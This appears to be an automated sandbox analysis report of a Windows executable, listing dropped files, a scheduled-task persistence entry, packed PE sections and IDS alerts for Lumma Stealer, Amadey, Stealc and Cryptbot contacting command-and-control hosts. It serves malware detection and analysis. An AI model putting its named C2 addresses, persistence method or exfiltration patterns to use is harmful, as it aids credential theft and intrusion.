Malicious:	false
Reputation:	unknown
Preview:	7....-..............l.l-...r%............l..:.n....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1808), with CRLF line terminators
Category:	dropped
Size (bytes):	11003
Entropy (8bit):	5.495952636098477
Encrypted:	false
SSDEEP:
MD5:	C1DD3BBC41947395490CE8F8F55BFC7B
SHA1:	4F374F92A8CDD714186EDFB19D6E581E46C1C412
SHA-256:	8C8708BC6A16FE919EF167CEA98A24738EE45BD920E62C78BD6D55C0063942F5
SHA-512:	F7EA6C8D30F7E505572B6DC9EEE4B47FE7B21AE7835B529CE429925025BC0139C2552A60AD9935AB2769F30B445C9162FB3BB4A7E5B3C77AF5BEB8E8D30D9969
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "ecedec8f-7097-47fc-a9e3-d74f0c8e2503");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696499493);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696499494);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1808), with CRLF line terminators
Category:	dropped
Size (bytes):	11003
Entropy (8bit):	5.495952636098477
Encrypted:	false
SSDEEP:
MD5:	C1DD3BBC41947395490CE8F8F55BFC7B
SHA1:	4F374F92A8CDD714186EDFB19D6E581E46C1C412
SHA-256:	8C8708BC6A16FE919EF167CEA98A24738EE45BD920E62C78BD6D55C0063942F5
SHA-512:	F7EA6C8D30F7E505572B6DC9EEE4B47FE7B21AE7835B529CE429925025BC0139C2552A60AD9935AB2769F30B445C9162FB3BB4A7E5B3C77AF5BEB8E8D30D9969
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "ecedec8f-7097-47fc-a9e3-d74f0c8e2503");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696499493);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696499494);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.4062573000313603
Encrypted:	false
SSDEEP:
MD5:	B038EA4FB27C8CC370EF414665455BCB
SHA1:	0F03E7AADA21A3A020B7B3E24326296995B203EA
SHA-256:	7697636254D0FCF1225FAF8DAE5B57E468B88C0F0E8373F5EA5BF60FFF0F5924
SHA-512:	6861DE8616286D9CF4B21C047A272E09D3BC4C807CB73AA856D479AEE32224952654D8E94FAC70FDA526B54D5734FD6BB4F0AC129B086C2C93A6B08414CD1004
Malicious:	false
Reputation:	unknown
Preview:	.....7..~9.E..('...F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.b.r.o.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........B.R.O.K.-.P.C.\.b.r.o.k...................0.................8.@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.020540290983527
Encrypted:	false
SSDEEP:
MD5:	9438B506521D06922A7223C3F5EF861F
SHA1:	12A1DFE3BD707F77D1C77AE9C10B56B7872DF4E9
SHA-256:	9C0C8189E8016A46F8F11B9887AF755BB5E9F0395FC773A8EEED33ED28D2380E
SHA-512:	5E1E4D53657AE397900EB6B074746C9BC2312289F2CEA370B3E4D3BA7C5188788DADEB057F4B17153C433FC74A59462B4B39949EF2C7EF57F8C2B162A759AF2B
Malicious:	false
Reputation:	unknown
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1800210 bytes (1759 KiB)....Extracting archive: extracted\file_5.zip..--..Path = extracted\file_5.zip..Type = zip..Physical Size = 1800210.... 0%. .Everything is Ok....Size: 1800056..Compressed: 1800210..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5597341947805035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'956'800 bytes
MD5:	3a61c20a67de482b185ab4698aa6b4e1
SHA1:	50a864a95715c5167da337dc608d53394972da42
SHA256:	3f09a04ebfc36b65298065e9b7de36a1f6e7acb77da56ddff650e7bf808ef976
SHA512:	338a299fa4eee138dd007729f6613be90834b5ad447dfc8e02bf152dcd379a574726c632a8690673f4ee06af8052d78ec08cc2724edc574a1bef6b3f3e733922
SSDEEP:	49152:wGstuxWdykCVE3Fy24U9w7mc00C+btuN37rhE9cMXRDv6rhMCHw:wqookCVE3Fy24Mwic0ybtuVXhE9ZhvWd
TLSH:	8BD56B92B50931DFE48A1B78D1ABDD825A5D42F907104AD3BD3CA87F7E67CC121BAC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6B5586E47Ah
paddb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6B55870475h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30b07c	0x10	osemtlkq
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30b02c	0x18	osemtlkq
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	71c82fd8e4838ec77e99324bb94e8c7a	False	0.9979936563351499	data	7.976947403849739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
osemtlkq	0x6b000	0x2a1000	0x2a0200	ce599d33decd0dbe615c7de448f0a92a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fqwpihld	0x30c000	0x1000	0x400	87b11e9b73e4c8c522e088adc7f150b9	False	0.8291015625	data	6.310360267265935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30d000	0x3000	0x2200	036733d6517325db9cb0dec8efdc13bd	False	0.06744025735294118	DOS executable (COM)	0.7834846410674469	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T15:55:48.437800+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:55:48.437800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:55:49.008618+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:56:06.495764+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.10	49736	185.215.113.43	80	TCP
2024-12-18T15:56:10.940119+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49749	31.41.244.11	80	TCP
2024-12-18T15:56:20.508428+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.10	49744	TCP
2024-12-18T15:56:21.886272+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49776	185.215.113.43	80	TCP
2024-12-18T15:56:23.427838+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49782	185.215.113.16	80	TCP
2024-12-18T15:56:27.995091+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	58540	1.1.1.1	53	UDP
2024-12-18T15:56:28.139639+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.10	62515	1.1.1.1	53	UDP
2024-12-18T15:56:29.549135+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:29.549135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:30.579086+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:30.579086+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:30.683213+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49799	185.215.113.43	80	TCP
2024-12-18T15:56:31.889776+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:31.889776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:32.180254+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49806	185.215.113.16	80	TCP
2024-12-18T15:56:32.610401+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:32.610401+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:34.408257+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:56:34.408257+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:56:35.403156+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:56:37.107829+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49819	172.67.179.109	443	TCP
2024-12-18T15:56:37.107829+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49819	172.67.179.109	443	TCP
2024-12-18T15:56:39.735446+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49825	172.67.179.109	443	TCP
2024-12-18T15:56:39.735446+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49825	172.67.179.109	443	TCP
2024-12-18T15:56:40.900041+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49830	185.215.113.43	80	TCP
2024-12-18T15:56:41.852118+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	64125	1.1.1.1	53	UDP
2024-12-18T15:56:42.226700+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49832	185.215.113.206	80	TCP
2024-12-18T15:56:42.599210+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49834	185.215.113.16	80	TCP
2024-12-18T15:56:43.281682+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:43.281682+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:44.549206+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49842	172.67.179.109	443	TCP
2024-12-18T15:56:44.549206+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49842	172.67.179.109	443	TCP
2024-12-18T15:56:44.595132+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:44.595132+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:45.843384+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49845	172.67.179.109	443	TCP
2024-12-18T15:56:45.843384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49845	172.67.179.109	443	TCP
2024-12-18T15:56:48.132150+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49850	185.215.113.43	80	TCP
2024-12-18T15:56:48.827876+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:56:48.827876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:56:48.832442+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:56:49.592016+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49856	185.215.113.16	80	TCP
2024-12-18T15:56:50.618105+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	59314	1.1.1.1	53	UDP
2024-12-18T15:56:51.991291+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:51.991291+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:53.027057+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:53.027057+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:54.289589+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:54.289589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:54.289830+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:56:54.289830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:56:56.036617+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49882	185.185.71.170	80	TCP
2024-12-18T15:56:56.531036+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49885	185.215.113.43	80	TCP
2024-12-18T15:56:57.841527+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:56:57.986025+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49892	31.41.244.11	80	TCP
2024-12-18T15:56:58.318037+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:58.318037+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:59.221809+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49899	185.185.71.170	80	TCP
2024-12-18T15:56:59.391551+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49901	185.215.113.16	80	TCP
2024-12-18T15:57:01.148342+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49907	172.67.179.109	443	TCP
2024-12-18T15:57:01.148342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49907	172.67.179.109	443	TCP
2024-12-18T15:57:03.463388+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49916	185.215.113.206	80	TCP
2024-12-18T15:57:05.858596+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49927	172.67.179.109	443	TCP
2024-12-18T15:57:05.858596+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49927	172.67.179.109	443	TCP
2024-12-18T15:57:10.041993+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49938	185.215.113.43	80	TCP
2024-12-18T15:57:11.036545+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49944	185.185.71.170	80	TCP
2024-12-18T15:57:11.531466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49945	31.41.244.11	80	TCP
2024-12-18T15:57:12.079332+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49948	172.67.179.109	443	TCP
2024-12-18T15:57:12.079332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49948	172.67.179.109	443	TCP
2024-12-18T15:57:20.797525+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49968	185.215.113.43	80	TCP
2024-12-18T15:57:22.271962+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49971	31.41.244.11	80	TCP
2024-12-18T15:57:22.368420+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49972	104.21.12.88	443	TCP
2024-12-18T15:57:23.526102+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:23.526102+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:24.076280+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49972	104.21.12.88	443	TCP
2024-12-18T15:57:24.076280+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49972	104.21.12.88	443	TCP
